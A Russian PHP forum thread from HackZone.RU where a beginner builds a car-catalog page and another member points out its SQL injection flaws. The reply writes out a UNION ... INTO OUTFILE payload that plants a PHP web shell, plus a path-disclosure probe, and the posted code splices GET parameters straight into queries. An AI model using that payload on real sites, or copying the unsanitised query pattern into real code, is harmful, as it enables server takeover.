Информационная Безопасность. Аудит Безопасности


Нажмите CTRL-D чтобы добавить нас в закладки
HackZone.RU - Способ передачи параметра для MySql
Войти / Регистрация / Участники
Определение даты выпуска iPhone по серийному номеру
-
Поиск по сайту
Форумы



Реклама

Программирование / PHP RSS подписка на сообщения с форума Subscribe
Вопросы связанные с программированием на PHP

Новая тема Наиболее обсуждаемые темы Наиболее посещаемые темы
Поиск 
Период
Перейти

Просмотров - 4276
Способ передачи параметра для MySql
Добавить этот топик в закладки »
RSS-лента ответов »Subscribe
vssv




Novice
# | Сообщение добавлено 03.06.2012 14:04:52
Возможно не совсем верный заголовок, но попробую... Существует файл catalog.php в корне www.
Его содержимое отображает древо подобный список:
PHP

<?php      
$db = mysql_connect("localhost","admin","12345"); // sql-666.fbr.com
mysql_select_db("list",$db);   
$result = mysql_query("SELECT * FROM 1",$db);
$myrow = mysql_fetch_array($result);
while ($i<n) {
Вывод: Значения 1
$myrow = mysql_fetch_array($result);}
?>     
 
Как сделать чтобы после выбора в списке 1 значения "a", оно не передавалось на следующую страницу как: www.list.ru/catalog/1/a.php
А обрабатывалось каталогом.пхп. Слышал про метод пост и ещё какой-то, можно не разжевывать, просто дайте указания что гуглить. Сам понимаю что мне бы передавать Параметр и обновлять каталог с ним и у меня бы всё получилось.Список условно такой:
1
__а
__б
__в
2
__а
__б
, где а,б,в..я - это тоже db. Вбиты в одну таблицу MySql и имеют именна 1_a или 4_г.
Видел у некоторых сайтов в адресной строке .php&id=88 - возможно это мое решение?
 
Сказать спасибо Ответить Цитировать

codemaster




Platinum Member
# | Сообщение добавлено 03.06.2012 14:37:39
да. это и называется GET-запросом.
например  кнопку, которой выбираеш элемент,формируеш так:
PHP

echo "<button name=\"submit\" value=\"выбрать элемент а\" onclick=\"document.location.replace('".$_SERVER['PHP_SELF']."?param=a')\" />";
 
а обрабатываеш так:
PHP

if($_GET['param']=="a")
{
тут делаеш что надо
}
 
если хочеш чтоб никуда с этой страницы не уходить а просто отпправлять данные в фоновом режиме(типа как нажать мне нравиться вк), то делаеш ajax запрос:
 
PHP

<script src="http://jqueryjs.googlecode.com/files/jquery-1.3.2.js" />
...
<button name="submit" id="send" value="выбрать элемент а"  />
...
<script>
      $(document).ready(function(){ 
         
            $('#send').click(function(){ 
                $.ajax({ 
                    url: "твой скрипт"
                    cache: false
                    success: function(html){ 
                        тут прописываеш что сделать когда выполниться get-запрос
                    } 
                })
            })
 
             
        })
</script>
 

P.S. порядок параметров для тегов могу перепутать - давно не лазил в вэбкодинг
 
Сказать спасибо Ответить Цитировать

vssv




Novice
# | Сообщение добавлено 04.06.2012 01:32:41
При передаче кнопками не пользуюсь. В основном ссылки и вывожу тоже тоже текст\ссылки. GET для ссылки подходит? Чтобы страница перегружалась и менялась адресная строка допустима, но Джиквари и Аякс, со скриптами нельзя. Делаю на чистом PHP и не хотел бы мешать все до кучи...
Как приминить это только для ссылки:
PHP
echo "<button name=\"submit\" value=\"выбрать элемент а\" onclick=\"document.location.replace('".$_SERVER['PHP_SELF']."?param=a')\" />";
 
<a class="link" href="base/'.$myrow[type].'.php">'.$myrow[sector_name].'</a> //Раньше так было.
 
Просто с кнопками никогда не работал, вроде и видно что тэг одинарный, но (((
Сказать спасибо Ответить Цитировать

codemaster




Platinum Member
# | Сообщение добавлено 04.06.2012 02:59:01
Отредактировано 04.06.2012 03:00:12 by codemaster
для ссылки так будет примерно:
PHP

echo "<a class=\"link\" href=\"{$_SERVER[PHP_SELF]}?param=$myrow[type]\">$myrow[sector_name]</a>";
 
 

 
Сказать спасибо Ответить Цитировать

zaki




Silver Member
# | Сообщение добавлено 04.06.2012 12:23:56
Если верно все понял, то можно заюзать cUrl
 
Я занимаюсь вёрсткой с помощью delphi и С++...
Ну и фотки редактирую в Visual Studio..
Сказать спасибо Ответить Цитировать

vssv




Novice
# | Сообщение добавлено 07.06.2012 01:38:16
PHP
if (!isset($_GET["car"])) {
$result = mysql_query("SELECT * FROM 1list",$db);
while ($myrow = mysql_fetch_array($result)) {
$i++;
if ($i % 2 !=0) {
echo '<li id="catalog_string1"><a class="firm_link1" href=catalog.php?car='."$myrow[firm_name]".'>'.$myrow[firm_name].'</a></li>';}
//таким способом сделал !
 
То, что отображаются параметры db означает что хакерCool её может вытащить, если мне в принципе всё равно пусть палит хоть всю базу данных, то можно оставить этот метод или есть шансы что через БД он сможет вытащить пароль от db и удалить еёCry?
Регистрации на сайте нет, в базе данных хранятся каталоги автомобилей...
Сказать спасибо Ответить Цитировать

codemaster




Platinum Member
# | Сообщение добавлено 07.06.2012 10:35:47
тут впринцыпе ничего опасного нет. больше интересует что делается если если поле car в запросе установлено?
 
Сказать спасибо Ответить Цитировать

vssv




Novice
# | Сообщение добавлено 08.06.2012 18:19:14
codemaster

больше интересует что делается если если поле car в запросе установлено?
PHP
<?php   
//$_GET['car'];
//$_GET['model'];
$db = mysql_connect("localhost","root",""); // for timeweb.ru other password =)
mysql_select_db("motors",$db)
$i=0;
//echo '<a class="firm_link2" href=catalog.php?car='."$myrow[firm_name]".'>'.$myrow[firm_name].'</a>';
$car=$_GET['car'];
$model=$car."_".$_GET['model'];
//Главная
if (!isset($_GET["car"])) {
$result = mysql_query("SELECT * FROM 1list",$db);
while ($myrow = mysql_fetch_array($result)) {
$i++;
if ($i % 2 !=0) {echo '<li id="catalog_string1"><a class="firm_link1" href=catalog.php?car='."$myrow[firm_name]".'>'.$myrow[firm_name].'</a></li>';}
else{echo '<li id="catalog_string2"><a class="firm_link2" href=catalog.php?car='."$myrow[firm_name]".'>'.$myrow[firm_name].'</a></li>';}
}
}
//Фирмы автомобилей
if (isset($_GET['car']) and !isset($_GET['model'])) {
$result = mysql_query("SELECT * FROM $car",$db);
while ($myrow = mysql_fetch_array($result)) {
$i++;
if ($i % 2 !=0) {echo '<li id="catalog_string1"><a class="firm_link1" href=catalog.php?car='."$car"."&model="."$myrow[model]".'>'.$myrow[model].'</a></li>';}
else{echo '<li id="catalog_string2"><a class="firm_link2" href=catalog.php?car='."$car"."&model="."$myrow[model]".'>'.$myrow[model].'</a></li>';}
}
}
//Модель автомобилей
if (isset($_GET['car']) and isset($_GET['model'])) {
$result = mysql_query("SELECT * FROM $model ORDER BY `$model`.`mod` ASC",$db);
while ($myrow =mysql_fetch_array($result)) {
$i++;
if ($i % 2 !=0) {
echo '<tr id="catalog_string1>';
echo '<td><a class="firm_link2" href="../../contacts.php">'."</a></td>";
echo '<td><a class="firm_link2" href="../../contacts.php">'.$myrow[mod].'</a></td>';
echo '<td><a class="firm_link2" href="../../contacts.php">'.$myrow[year].'</a></td>';
echo '<td><a class="firm_link2" href="../../contacts.php">'.$myrow[trans].'</a></td>';
echo '<td><a class="firm_link2" href="../../contacts.php">'.$myrow[type].'</a></td>';
echo "</tr>";
}
else{
echo '<tr id="catalog_string2>';
echo '<td><a class="firm_link2" href="../../contacts.php">'."</a></td>";
echo '<td><a class="firm_link2" href="../../contacts.php">'.$myrow[mod].'</a></td>';
echo '<td><a class="firm_link2" href="../../contacts.php">'.$myrow[year].'</a></td>';
echo '<td><a class="firm_link2" href="../../contacts.php">'.$myrow[trans].'</a></td>';
echo '<td><a class="firm_link2" href="../../contacts.php">'.$myrow[type].'</a></td>';
echo "</tr>";}
}}
?>     
 
P.S. Хотя как мне кажется вопрос с такого аккаунта как твоиCool означает скорее заботуSaint, о том справился ли я со своей задачей
Сказать спасибо Ответить Цитировать

codemaster




Platinum Member
# | Сообщение добавлено 08.06.2012 19:10:19
Отредактировано 08.06.2012 19:27:19 by codemaster
sql-инъекции:

$result = mysql_query("SELECT * FROM $car",$db);
и
$result = mysql_query("SELECT * FROM $model ORDER BY `$model`.`mod` ASC",$db);
через них впрнцыпе можно сделать все что угодно. вплоть до залития шелла на сервер. а удалят базу - это еще не самое страшное...
к примеру хакер пропишет в адресной строке так:

http://site.com/script.php?car='любая таблица в базе' where 1=0 union select '<? system($_GET[cmd]); ?>',2,3,..сколько полей... from mysql.user into outfile /home/site.com/www/shell.php --

путь может быть другой. узнать его можно запросто если ты не отключил вывод предупреждений php:

http://site.com/script.php?car='
И php заматерится что нет такой таблицы и спалит путь скрипта, в котором произошел фэйл
ну а потом хакер сможет выполнять любые php инструкции:

http://site.com/shell.php?cmd=phpinfo()


 
Сказать спасибо Ответить Цитировать


Только зарегистрированные пользователи могут оставлять сообщения в форуме

Зарегистрироваться *** Авторизоваться

 Последние новости и статьи  Последние сообщения с форумов
  • В darknet сливают данные 100 000 российских банковских карт
  • Вирус Escobar ворует коды двухфакторной аутентификации из Google ...
  • DeadBolt использует уязвимость, исправленную в декабре
  • Почти миллион WordPress-сайтов в опасности из-за уязвимости в поп...
  • Шифровальщик DeadBolt взломал 3600 NAS. Qnap устанавливает обновл...
  • Банковский троян Chaes устанавливает вредоносные расширения для C...
  • Взломана платформа Qubit Finance, хакеры похитили 80 млн долларов
  • Арест участников REvil взволновал других преступников
  • Обнаружена malware MoonBounce, внедряющаяся в UEFI
  • Администратор кардерского форума UniCC и участник хак-группы The ...

    Все новости... Все статьи... Прислать новость RSS
  • Разное / Предложения работы » Взлом авторизации CRM
  • Разное / Предложения работы » взломать сайт и выграть электронную жеребьёвку
  • Разное / Предложения работы » разблокировать сбер аккаунт
  • Разное / Болталка » Re: Форум жив?
  • Разное / Болталка » Форум жив?
  • Разное / Болталка » С Новым 2022 Годом!
  • Взлом и безопасность / Программы » Re: Hasp ключ для ABC-4
  • Портал / Отзывы и предложения » Предлагаем партнерство вашему форуму.
  • Разное / Предложения работы » взлом почты
  • Разное / Куплю, приму в дар » Покупка аккаунтов Uphold

    Все форумы... RSS


  • Разместить рекламу
    © HackZone Ltd. 1996-2020. Все права зарегистрированы.
    Перепечатка материалов без согласования и указания источника будет преследоваться по Закону

    О проекте | История проекта | Размещение рекламы | Обратная связь | Правила поведения на портале
    contador de visitas счетчик посещений

    #{title}

    #{text}

    x

    #{title}

    #{text}